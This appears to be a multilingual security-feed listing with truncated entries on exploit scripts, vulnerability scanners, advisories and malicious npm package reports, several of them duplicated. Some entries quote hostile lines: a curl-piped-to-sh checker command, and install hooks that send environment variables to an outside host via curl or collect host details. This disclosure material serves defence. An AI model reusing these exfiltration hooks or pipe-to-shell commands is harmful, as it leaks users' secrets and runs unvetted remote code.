Grafana-LFI-exploit

Exploit LFI Grafana Script d'exploitation mis à jour pour CVE-2021-43798 depuis : https://www.exploit-db.com/exploits/50581 https://vulncheck.com/blog/grafana-cve-2021-43798 Utilisation 1. Mettez à jour la ligne 5 ip et la ligne 6 port pour correspondre à la cible. 2. Exécutez le script python3...

wannafind

wannafind Script simple utilisant nmap pour détecter CVE-2017-0143 MS17-010 Windows SMB et CVE-2017-7494 SAMBA dans votre réseau Utilisation : wannafind.sh IP|Réseau wannafind.sh 192.168.1.0/24...

CVE-2024-3094

CVE-2024-3094 CVE-2024-3094 - Vérificateur Depuis ici 1. Le moyen le plus rapide de vérifier : exécutez simplement la commande suivante. curl -Ls https://raw.githubusercontent.com/pentestfunctions/CVE-2024-3094/main/checker.sh | sh...

Hybrid Submit

سكربت الإرسال الدفعي لتحليل Hybrid Analysis يقوم هذا السكربت بلغة Python بمسح مجلد بشكل متكرر وإرسال الملفات التنفيذية والنصية والمستندات والملفات الأخرى ذات الصلة إلى Hybrid Analysis Falcon Sandbox لتحليل البرامج الضارة تلقائيًا. الميزات يتجول في المجلدات بشكل متكرر يرسل فقط أنواع الملفات المدعو...

it-sec-toolshell

ToolShell — Présentation d'une faille zero-day SharePoint Un diaporama Marp sur CVE-2025-53770, avec chaque diapositive dans son propre fichier sous slides/. Construction ./build.sh assemble slides into presentation.md ./build.sh html + render presentation.html ./build.sh pdf + render...

Malicious code in hardhat-promised (npm)

Source: amazon-inspector 306eed59a2a4d15563101a3bfde19c1d6d5e0c9152cb0f3d0f421331e075ef4e The npm package hardhat-promised impersonates the pino logger: it ships pino's README with pino shields.io badges linking to npmjs.com/package/pino, LICENSE, docs/, index.d.ts, and lib/ directory layout...

CVE-2026-46300

Recherche en Sécurité & Avis de Non-Responsabilité Légal Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. Utilisation Autorisée Comprendre les vulnérabilités de sécurité et les concepts d'exploitation dans des environnements contrôlés machines virtuelle...

EUVD-2026-94764

The Image Photo Gallery Final Tiles Grid WordPress plugin before 3.6.14 does not sanitise several gallery configuration values that can be overridden through its gallery shortcode before printing them into an inline script block, allowing users with contributor-level access and above to inject...

Satel Netco Design

ADVISORY SUMMARY Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary scripts in a user's browser, consume excessive system resources, enumerate files, create or modify files, and potentially execute arbitrary code. 2. RECOMMENDED PRACTICES CISA...

dirtycups

dirtycups.py Dirty CUPS هي أداة فحص مجانية لنظام Linux/Unix نص Python3 للتحقق مما إذا كان الهدف عرضة لـ CVE-2024-47176. هذا هو ماسح CUPS يعتمد على المقابس فقط مبني على cupsscanner.py الخاص بـ MalwareTech: https://github.com/MalwareTech/CVE-2024-47176-Scanner/blob/master/cupsscanner.py النص الأصلي...

Malicious code in hardhat-promised (npm)

[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...

MAL-2026-17662 Malicious code in hardhat-promised (npm)

[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...

CVE-2025-12163

CVE-2025-12163 : Cross-Site Scripting stocké dans le plugin WordPress Omnipress Table des matières Vue d'ensemble Détails de la vulnérabilité Analyse technique Vecteur d'attaque Guide de remédiation Métriques CVSS Références Contact sécurité Vue d'ensemble Vulnérabilité XSS stockée dans le plugin...

CVE-2021-4044

Script de vérification SSL Ce dépôt contient un script Python qui vérifie la version d'OpenSSL sur votre système et teste les connexions SSL/TLS vers un site web fourni par l'utilisateur. Le script est conçu pour identifier si le système est affecté par CVE-2021-4044 et pour tester la gestion des...

MAL-2026-17654 Malicious code in abbishal-poc2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...

Malicious code in abbishal-poc2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...

MAL-2026-17652 Malicious code in @ziedzzz/demo-canary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...

Malicious code in @ziedzzz/demo-canary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...

MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...